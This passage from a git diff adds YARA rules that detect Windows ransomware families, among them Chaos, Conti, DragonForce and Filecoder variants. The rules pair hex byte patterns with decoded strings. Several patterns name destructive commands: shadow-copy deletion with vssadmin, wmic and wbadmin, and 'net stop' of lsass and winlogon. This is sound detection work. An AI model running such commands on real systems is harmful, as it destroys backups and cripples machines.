72 ?? 5f c6 46 1f 00 8d 46 04 5e c3 } //1 + $a_03_1 = {42 45 41 53 54 20 7c 20 54 79 70 65 20 36 36 36 20 77 68 69 6c 65 20 68 6f 6c 64 69 6e 67 20 41 4c 54 2b 43 54 ?? 4c 20 74 6f 20 68 69 64 65 2f 73 68 6f 77 20 74 68 69 73 20 77 69 6e 64 6f 77 } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Ransom/Win32/BlackBasta/Ransom_Win32_Blackbasta_EAF_MTB.yar b/Ransom/Win32/BlackBasta/Ransom_Win32_Blackbasta_EAF_MTB.yar new file mode 100644 index 0000000000..6bf91a31ab --- /dev/null +++ b/Ransom/Win32/BlackBasta/Ransom_Win32_Blackbasta_EAF_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win32_Blackbasta_EAF_MTB{ + meta: + description = "Ransom:Win32/Blackbasta.EAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {0f af de 8b d3 c1 ea 10 88 14 01 8b d3 ff 87 84 00 00 00 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win32/Cerber/Ransom_Win32_Cerber_ARA_MTB.yar b/Ransom/Win32/Cerber/Ransom_Win32_Cerber_ARA_MTB.yar new file mode 100644 index 0000000000..184a1febc2 --- /dev/null +++ b/Ransom/Win32/Cerber/Ransom_Win32_Cerber_ARA_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win32_Cerber_ARA_MTB{ + meta: + description = "Ransom:Win32/Cerber.ARA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8b 4c 24 14 8a 0c 0a 03 d8 a1 6c 06 44 00 32 cb 83 e8 01 88 4c 24 13 75 21 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Ransom/Win32/Chaos/Ransom_Win32_Chaos_AMX_MTB.yar b/Ransom/Win32/Chaos/Ransom_Win32_Chaos_AMX_MTB.yar new file mode 100644 index 0000000000..6e3a596173 --- /dev/null +++ b/Ransom/Win32/Chaos/Ransom_Win32_Chaos_AMX_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win32_Chaos_AMX_MTB{ + meta: + description = "Ransom:Win32/Chaos.AMX!MTB,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {59 00 6f 00 75 00 72 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 68 00 61 00 76 00 65 00 20 00 62 00 65 00 65 00 6e 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 } //1 Your files have been encrypted + $a_01_1 = {43 00 48 00 41 00 4f 00 53 00 20 00 52 00 41 00 4e 00 53 00 4f 00 4d 00 57 00 41 00 52 00 45 00 } //1 CHAOS RANSOMWARE + $a_01_2 = {72 00 65 00 63 00 6f 00 76 00 65 00 72 00 20 00 79 00 6f 00 75 00 72 00 20 00 66 00 69 00 6c 00 65 00 73 00 } //1 recover your files + $a_01_3 = {72 00 61 00 6e 00 73 00 6f 00 6d 00 20 00 69 00 6e 00 20 00 42 00 69 00 74 00 63 00 6f 00 69 00 6e 00 } //1 ransom in Bitcoin + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Ransom/Win32/Chaos/Ransom_Win32_Chaos_BMX_MTB.yar b/Ransom/Win32/Chaos/Ransom_Win32_Chaos_BMX_MTB.yar new file mode 100644 index 0000000000..659e44e047 --- /dev/null +++ b/Ransom/Win32/Chaos/Ransom_Win32_Chaos_BMX_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win32_Chaos_BMX_MTB{ + meta: + description = "Ransom:Win32/Chaos.BMX!MTB,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {59 6f 75 72 20 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 } //1 Your files have been encrypted + $a_01_1 = {63 68 61 6f 73 40 70 72 6f 74 6f 6e 6d 61 69 6c 2e 63 6f 6d } //1 chaos@protonmail.com + $a_01_2 = {72 65 63 6f 76 65 72 20 79 6f 75 72 20 64 61 74 61 } //1 recover your data + $a_01_3 = {43 00 68 00 61 00 6f 00 73 00 43 00 6c 00 69 00 70 00 62 00 6f 00 61 00 72 00 64 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 } //1 ChaosClipboardMonitor + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Ransom/Win32/Chaos/Ransom_Win32_Chaos_MKV_MTB.yar b/Ransom/Win32/Chaos/Ransom_Win32_Chaos_MKV_MTB.yar new file mode 100644 index 0000000000..b271729f66 --- /dev/null +++ b/Ransom/Win32/Chaos/Ransom_Win32_Chaos_MKV_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win32_Chaos_MKV_MTB{ + meta: + description = "Ransom:Win32/Chaos.MKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {41 8b c3 30 10 83 c2 0d 80 e2 ff 40 49 75 f4 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win32/Chaos/Ransom_Win32_Chaos_MX_MTB.yar b/Ransom/Win32/Chaos/Ransom_Win32_Chaos_MX_MTB.yar new file mode 100644 index 0000000000..7eb0115c7d --- /dev/null +++ b/Ransom/Win32/Chaos/Ransom_Win32_Chaos_MX_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win32_Chaos_MX_MTB{ + meta: + description = "Ransom:Win32/Chaos.MX!MTB,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 00 " + + strings : + $a_01_0 = {59 6f 75 72 20 66 69 6c 65 73 20 61 72 65 20 65 6e 63 72 79 70 74 65 64 } //1 Your files are encrypted + $a_01_1 = {76 73 73 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 } //1 vssadmin delete shadows /all /quiet + $a_01_2 = {77 62 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 63 61 74 61 6c 6f 67 20 2d 71 75 69 65 74 } //1 wbadmin delete catalog -quiet + $a_01_3 = {77 6d 69 63 20 73 68 61 64 6f 77 63 6f 70 79 20 64 65 6c 65 74 65 } //1 wmic shadowcopy delete + $a_01_4 = {2e 00 63 00 68 00 61 00 6f 00 73 00 } //1 .chaos + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Ransom/Win32/Conti/Ransom_Win32_CONTI_DA_MTB.yar b/Ransom/Win32/Conti/Ransom_Win32_CONTI_DA_MTB.yar index 43b5795127..47aa2b84a3 100644 --- a/Ransom/Win32/Conti/Ransom_Win32_CONTI_DA_MTB.yar +++ b/Ransom/Win32/Conti/Ransom_Win32_CONTI_DA_MTB.yar @@ -11,4 +11,26 @@ rule Ransom_Win32_CONTI_DA_MTB{ condition: ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 +} +rule Ransom_Win32_CONTI_DA_MTB_2{ + meta: + description = "Ransom:Win32/CONTI.DA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc7 00 ffffffc7 00 0d 00 00 " + + strings : + $a_81_0 = {64 65 61 74 68 6f 66 72 65 67 } //100 deathofreg + $a_81_1 = {63 6c 65 61 6e 65 72 5f 2e 6c 6f 67 } //50 cleaner_.log + $a_81_2 = {44 65 73 74 72 6f 79 69 6e 67 20 62 6f 6f 74 6c 6f 61 64 65 72 } //20 Destroying bootloader + $a_81_3 = {44 65 73 74 72 6f 79 69 6e 67 20 73 79 73 74 65 6d 20 66 69 6c 65 73 } //20 Destroying system files + $a_81_4 = {6e 65 74 20 73 74 6f 70 20 77 69 6e 6c 6f 67 6f 6e } //1 net stop winlogon + $a_81_5 = {6e 65 74 20 73 74 6f 70 20 6c 73 61 73 73 } //1 net stop lsass + $a_81_6 = {6e 65 74 20 73 74 6f 70 20 73 65 72 76 69 63 65 73 } //1 net stop services + $a_81_7 = {6e 65 74 20 73 74 6f 70 20 73 70 6f 6f 6c 65 72 } //1 net stop spooler + $a_81_8 = {6e 65 74 20 73 74 6f 70 20 72 70 63 73 73 } //1 net stop rpcss + $a_81_9 = {6e 65 74 20 73 74 6f 70 20 57 69 6e 52 45 41 67 65 6e 74 } //1 net stop WinREAgent + $a_81_10 = {6e 65 74 20 73 74 6f 70 20 52 65 63 6f 76 65 72 79 41 67 65 6e 74 } //1 net stop RecoveryAgent + $a_81_11 = {6e 65 74 20 73 74 6f 70 20 52 65 63 6f 76 65 72 79 53 65 72 76 69 63 65 } //1 net stop RecoveryService + $a_81_12 = {6e 65 74 20 73 74 6f 70 20 77 69 6e 69 6e 69 74 } //1 net stop wininit + condition: + ((#a_81_0 & 1)*100+(#a_81_1 & 1)*50+(#a_81_2 & 1)*20+(#a_81_3 & 1)*20+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1) >=199 + } \ No newline at end of file diff --git a/Ransom/Win32/Cyanmischa/Ransom_Win32_Cyanmischa_EA_MTB.yar b/Ransom/Win32/Cyanmischa/Ransom_Win32_Cyanmischa_EA_MTB.yar new file mode 100644 index 0000000000..cc2ac3a451 --- /dev/null +++ b/Ransom/Win32/Cyanmischa/Ransom_Win32_Cyanmischa_EA_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win32_Cyanmischa_EA_MTB{ + meta: + description = "Ransom:Win32/Cyanmischa.EA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_02_0 = {8d 34 5a 8a 04 19 88 46 01 8b 3d ?? ?? ?? ?? c6 04 5f 0b 43 81 fb d0 07 00 00 } //5 + condition: + ((#a_02_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win32/Cyanmischa/Ransom_Win32_Cyanmischa_MKV_MTB.yar b/Ransom/Win32/Cyanmischa/Ransom_Win32_Cyanmischa_MKV_MTB.yar new file mode 100644 index 0000000000..b9a91a864a --- /dev/null +++ b/Ransom/Win32/Cyanmischa/Ransom_Win32_Cyanmischa_MKV_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win32_Cyanmischa_MKV_MTB{ + meta: + description = "Ransom:Win32/Cyanmischa.MKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {43 59 41 4e 4d 49 53 43 48 41 20 52 41 4e 53 4f 4d 57 41 52 45 20 50 45 52 46 43 20 46 49 4c 45 21 21 } //1 CYANMISCHA RANSOMWARE PERFC FILE!! + $a_01_1 = {59 6f 75 20 62 65 63 61 6d 65 20 76 69 63 74 69 6d 20 6f 66 20 74 68 65 20 43 59 41 4e 4d 49 53 43 48 41 20 52 41 4e 53 4f 4d 57 41 52 45 21 21 21 } //1 You became victim of the CYANMISCHA RANSOMWARE!!! + $a_01_2 = {66 69 6c 65 73 20 69 6e 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 68 61 76 65 20 62 65 65 6e 20 73 61 66 65 6c 79 20 65 6e 63 72 79 70 74 65 64 20 62 79 20 63 79 61 6e 6d 69 73 63 68 61 } //1 files in your computer have been safely encrypted by cyanmischa + $a_01_3 = {46 69 6e 61 6c 20 64 65 63 72 79 70 74 69 6f 6e 20 6b 65 79 } //1 Final decryption key + $a_01_4 = {63 79 61 6e 6d 69 73 63 68 61 20 64 65 63 72 79 70 74 65 64 } //1 cyanmischa decrypted + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win32/Devman/Ransom_Win32_Devman_A.yar b/Ransom/Win32/Devman/Ransom_Win32_Devman_A.yar new file mode 100644 index 0000000000..96978e8e62 --- /dev/null +++ b/Ransom/Win32/Devman/Ransom_Win32_Devman_A.yar @@ -0,0 +1,12 @@ + +rule Ransom_Win32_Devman_A{ + meta: + description = "Ransom:Win32/Devman.A,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 00 " + + strings : + $a_03_0 = {c7 84 24 f8 00 00 00 78 63 72 79 c7 84 24 fc 00 00 00 64 74 65 64 c7 84 24 00 01 00 00 6e 6f 74 73 c7 84 24 04 01 ?? 00 74 69 6c 6c c7 84 24 08 01 00 00 5f 61 6d 61 c7 84 24 0c 01 00 00 7a 69 6e 67 c7 84 24 10 01 00 00 67 5f 74 69 c7 84 24 14 01 00 } //1 + $a_03_1 = {5b 21 5d 20 4c 44 41 50 20 6d 6f 64 65 20 72 65 71 75 69 72 65 73 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 61 73 73 77 6f 72 64 2e 20 55 73 65 20 2d 75 20 61 6e 64 20 2d 70 20 66 6c 61 67 73 2e ?? ?? 5b 2b 5d 20 73 63 61 6e 6e 69 6e 67 20 66 6f 72 20 6c 69 76 65 20 68 6f 73 74 73 ?? ?? ?? ?? ?? 5b 2b 5d 20 74 65 72 6d 69 6e 61 74 69 6e 67 20 70 72 6f 63 65 73 73 65 73 ?? ?? ?? 5b 2b 5d 20 65 6e 63 72 79 70 74 69 6e 67 20 6c 6f 63 61 6c 20 64 72 69 76 65 73 } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Ransom/Win32/Devman/Ransom_Win32_Devman_B.yar b/Ransom/Win32/Devman/Ransom_Win32_Devman_B.yar new file mode 100644 index 0000000000..07bd08e70b --- /dev/null +++ b/Ransom/Win32/Devman/Ransom_Win32_Devman_B.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win32_Devman_B{ + meta: + description = "Ransom:Win32/Devman.B,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 00 " + + strings : + $a_01_0 = {2d 00 73 00 6b 00 69 00 70 00 2d 00 6c 00 6f 00 63 00 61 00 6c 00 } //1 -skip-local + $a_01_1 = {75 00 6e 00 6d 00 6f 00 75 00 6e 00 74 00 69 00 6e 00 67 00 20 00 64 00 72 00 69 00 76 00 65 00 20 00 25 00 63 00 3a 00 20 00 61 00 66 00 74 00 65 00 72 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 } //1 unmounting drive %c: after encryption + $a_01_2 = {67 00 6f 00 74 00 20 00 6e 00 6f 00 20 00 70 00 61 00 74 00 68 00 2c 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6e 00 67 00 20 00 61 00 6c 00 6c 00 20 00 64 00 72 00 69 00 76 00 65 00 73 00 2e 00 } //1 got no path, encrypting all drives. + $a_03_3 = {00 78 63 72 79 ?? ?? ?? ?? ?? ?? ?? 64 74 65 64 ?? ?? ?? ?? ?? ?? ?? 6e 6f 74 73 ?? ?? ?? ?? ?? ?? ?? 74 69 6c 6c ?? ?? ?? ?? ?? ?? ?? 5f 61 6d 61 ?? ?? ?? ?? ?? ?? ?? 7a 69 6e 67 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_03_3 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Ransom/Win32/DragonForce/Ransom_Win32_DragonForce_SB_MTB.yar b/Ransom/Win32/DragonForce/Ransom_Win32_DragonForce_SB_MTB.yar new file mode 100644 index 0000000000..d8ac55023e --- /dev/null +++ b/Ransom/Win32/DragonForce/Ransom_Win32_DragonForce_SB_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_Win32_DragonForce_SB_MTB{ + meta: + description = "Ransom:Win32/DragonForce.SB!MTB,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 00 " + + strings : + $a_01_0 = {76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 73 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 61 00 6c 00 6c 00 20 00 2f 00 71 00 75 00 69 00 65 00 74 00 } //1 vssadmin delete shadows /all /quiet + $a_01_1 = {59 00 4f 00 55 00 52 00 20 00 46 00 49 00 4c 00 45 00 53 00 20 00 48 00 41 00 56 00 45 00 20 00 42 00 45 00 45 00 4e 00 20 00 45 00 4e 00 43 00 52 00 59 00 50 00 54 00 45 00 44 00 21 00 20 00 43 00 48 00 45 00 43 00 4b 00 20 00 52 00 45 00 41 00 44 00 4d 00 45 00 } //1 YOUR FILES HAVE BEEN ENCRYPTED! CHECK README + $a_01_2 = {77 00 61 00 6c 00 6c 00 70 00 61 00 70 00 65 00 72 00 2e 00 62 00 6d 00 70 00 } //1 wallpaper.bmp + $a_01_3 = {52 00 45 00 41 00 44 00 4d 00 45 00 } //1 README + $a_01_4 = {65 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 20 00 63 00 6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 64 00 21 00 } //1 encryption completed! + $a_01_5 = {4e 00 75 00 6c 00 20 00 26 00 20 00 44 00 65 00 6c 00 20 00 2f 00 66 00 } //1 Nul & Del /f + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win32/DurrCrypt/Ransom_Win32_DurrCrypt_PA_MTB.yar b/Ransom/Win32/DurrCrypt/Ransom_Win32_DurrCrypt_PA_MTB.yar new file mode 100644 index 0000000000..1137b667ec --- /dev/null +++ b/Ransom/Win32/DurrCrypt/Ransom_Win32_DurrCrypt_PA_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win32_DurrCrypt_PA_MTB{ + meta: + description = "Ransom:Win32/DurrCrypt.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 00 " + + strings : + $a_01_0 = {52 61 6e 73 6f 6d 77 61 72 65 55 49 43 6c 61 73 73 } //1 RansomwareUIClass + $a_01_1 = {43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 44 75 72 72 2e 6c 6f 63 6b } //1 C:\ProgramData\Durr.lock + $a_01_2 = {73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e } //1 schtasks /create /tn + $a_01_3 = {44 00 2e 00 55 00 2e 00 52 00 2e 00 52 00 20 00 52 00 61 00 6e 00 73 00 6f 00 6d 00 } //4 D.U.R.R Ransom + $a_01_4 = {59 00 6f 00 75 00 72 00 20 00 69 00 6d 00 70 00 6f 00 72 00 74 00 61 00 6e 00 74 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 68 00 61 00 76 00 65 00 20 00 62 00 65 00 65 00 6e 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 20 00 75 00 73 00 69 00 6e 00 67 00 20 00 6d 00 69 00 6c 00 69 00 74 00 61 00 72 00 79 00 20 00 67 00 72 00 61 00 64 00 65 00 20 00 61 00 6c 00 67 00 6f 00 72 00 69 00 74 00 68 00 6d 00 73 00 } //4 Your important files have been encrypted using military grade algorithms + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*4+(#a_01_4 & 1)*4) >=7 + +} \ No newline at end of file diff --git a/Ransom/Win32/Filecoder/Ransom_Win32_FileCoder_BAA_MTB.yar b/Ransom/Win32/Filecoder/Ransom_Win32_FileCoder_BAA_MTB.yar new file mode 100644 index 0000000000..f4944c67a3 --- /dev/null +++ b/Ransom/Win32/Filecoder/Ransom_Win32_FileCoder_BAA_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_Win32_FileCoder_BAA_MTB{ + meta: + description = "Ransom:Win32/FileCoder.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {45 6e 63 72 79 70 74 65 64 } //1 Encrypted + $a_81_1 = {59 6f 75 72 20 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 } //1 Your files have been encrypted + $a_81_2 = {54 6f 20 72 65 63 6f 76 65 72 20 79 6f 75 72 20 64 61 74 61 } //1 To recover your data + $a_81_3 = {4e 6f 74 65 20 64 72 6f 70 70 65 64 } //1 Note dropped + $a_81_4 = {73 76 63 68 6f 73 74 5f 6c 6f 67 2e 74 78 74 } //1 svchost_log.txt + $a_81_5 = {49 6d 70 6f 72 74 61 6e 74 20 66 69 6c 65 73 20 65 6e 63 72 79 70 74 65 64 2e 20 43 68 65 63 6b 20 52 45 41 44 4d 45 20 66 69 6c 65 73 } //1 Important files encrypted. Check README files + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win32/Filecoder/Ransom_Win32_FileCoder_BAB_MTB.yar b/Ransom/Win32/Filecoder/Ransom_Win32_FileCoder_BAB_MTB.yar new file mode 100644 index 0000000000..9db15c119e --- /dev/null +++ b/Ransom/Win32/Filecoder/Ransom_Win32_FileCoder_BAB_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win32_FileCoder_BAB_MTB{ + meta: + description = "Ransom:Win32/FileCoder.BAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {52 61 6e 73 6f 6d 20 4e 6f 74 65 } //1 Ransom Note + $a_81_1 = {44 65 73 6b 74 6f 70 20 77 61 6c 6c 70 61 70 65 72 20 63 68 61 6e 67 65 64 20 74 6f 20 72 61 6e 73 6f 6d 20 69 6d 61 67 65 } //1 Desktop wallpaper changed to ransom image + $a_81_2 = {59 6f 75 72 20 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 2e 20 43 6f 6e 74 61 63 74 20 61 74 74 61 63 6b 65 72 } //1 Your files have been encrypted. Contact attacker + $a_81_3 = {52 61 6e 73 6f 6d 20 6e 6f 74 65 20 73 65 6e 74 20 74 6f 20 70 72 69 6e 74 65 72 73 } //1 Ransom note sent to printers + $a_81_4 = {64 69 73 6b 73 68 61 64 6f 77 5f 73 63 72 69 70 74 2e 74 78 74 } //1 diskshadow_script.txt + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_EOTY_MTB.yar b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_EOTY_MTB.yar new file mode 100644 index 0000000000..772a24cdf9 --- /dev/null +++ b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_EOTY_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win32_Filecoder_EOTY_MTB{ + meta: + description = "Ransom:Win32/Filecoder.EOTY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {72 61 6e 73 6f 6d 2e 74 78 74 } //1 ransom.txt + $a_81_1 = {59 6f 75 72 20 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 2e } //1 Your files have been encrypted. + $a_81_2 = {64 65 63 72 79 70 74 20 74 68 65 6d } //1 decrypt them + $a_81_3 = {73 65 6e 64 20 24 31 30 30 20 74 6f 20 5b 65 6d 61 69 6c 20 61 64 64 72 65 73 73 5d } //1 send $100 to [email address] + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_ETOY_MTB.yar b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_ETOY_MTB.yar new file mode 100644 index 0000000000..32205f0144 --- /dev/null +++ b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_ETOY_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win32_Filecoder_ETOY_MTB{ + meta: + description = "Ransom:Win32/Filecoder.ETOY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {72 61 6e 73 6f 6d 2e 74 78 74 } //1 ransom.txt + $a_81_1 = {59 6f 75 72 20 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 70 72 6f 63 65 73 73 65 64 } //1 Your files have been processed + $a_81_2 = {72 65 73 74 6f 72 65 20 74 68 65 6d } //1 restore them + $a_81_3 = {73 65 6e 64 20 24 31 30 30 20 74 6f 20 5b 65 6d 61 69 6c 20 61 64 64 72 65 73 73 5d } //1 send $100 to [email address] + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_MSD_MTB.yar b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_MSD_MTB.yar new file mode 100644 index 0000000000..033e9b5e1a --- /dev/null +++ b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_MSD_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win32_Filecoder_MSD_MTB{ + meta: + description = "Ransom:Win32/Filecoder.MSD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {32 04 37 32 44 24 ?? 8b 4c 24 10 88 04 31 8b 03 89 44 24 10 8a 04 30 46 88 44 24 0f 8b 44 24 14 8b 38 8b 40 04 2b c7 3b f0 72 } //5 + $a_01_1 = {2e 65 6e 63 72 79 70 74 65 64 } //1 .encrypted + $a_01_2 = {2e 6c 6f 63 6b 65 64 } //1 .locked + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_NHT_MTB.yar b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_NHT_MTB.yar new file mode 100644 index 0000000000..b289cb0581 --- /dev/null +++ b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_NHT_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_Win32_Filecoder_NHT_MTB{ + meta: + description = "Ransom:Win32/Filecoder.NHT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_01_0 = {48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 } //1 Hello, World! + $a_01_1 = {72 61 6e 73 6f 6d 2e 74 78 74 } //1 ransom.txt + $a_01_2 = {59 6f 75 72 20 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 } //1 Your files have been encrypted + $a_01_3 = {54 6f 20 64 65 63 72 79 70 74 20 79 6f 75 72 20 66 69 6c 65 73 2c 20 73 65 6e 64 20 24 31 30 30 30 20 74 6f } //1 To decrypt your files, send $1000 to + $a_01_4 = {72 61 6e 73 6f 6d 2e 6a 70 67 } //1 ransom.jpg + $a_01_5 = {74 61 73 6b 6b 69 6c 6c 20 2f 69 6d 20 65 78 70 6c 6f 72 65 72 2e 65 78 65 } //1 taskkill /im explorer.exe + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGQ_MTB.yar b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGQ_MTB.yar new file mode 100644 index 0000000000..8ce87e8788 --- /dev/null +++ b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGQ_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win32_Filecoder_PAGQ_MTB{ + meta: + description = "Ransom:Win32/Filecoder.PAGQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {63 6d 64 20 2f 63 20 22 76 73 73 61 64 6d 69 6e 20 44 65 6c 65 74 65 20 53 68 61 64 6f 77 73 20 2f 41 6c 6c 20 2f 51 75 69 65 74 22 } //2 cmd /c "vssadmin Delete Shadows /All /Quiet" + $a_01_1 = {63 6d 64 20 2f 63 20 22 62 63 64 65 64 69 74 20 2f 73 65 74 20 7b 64 65 66 61 75 6c 74 7d 20 62 6f 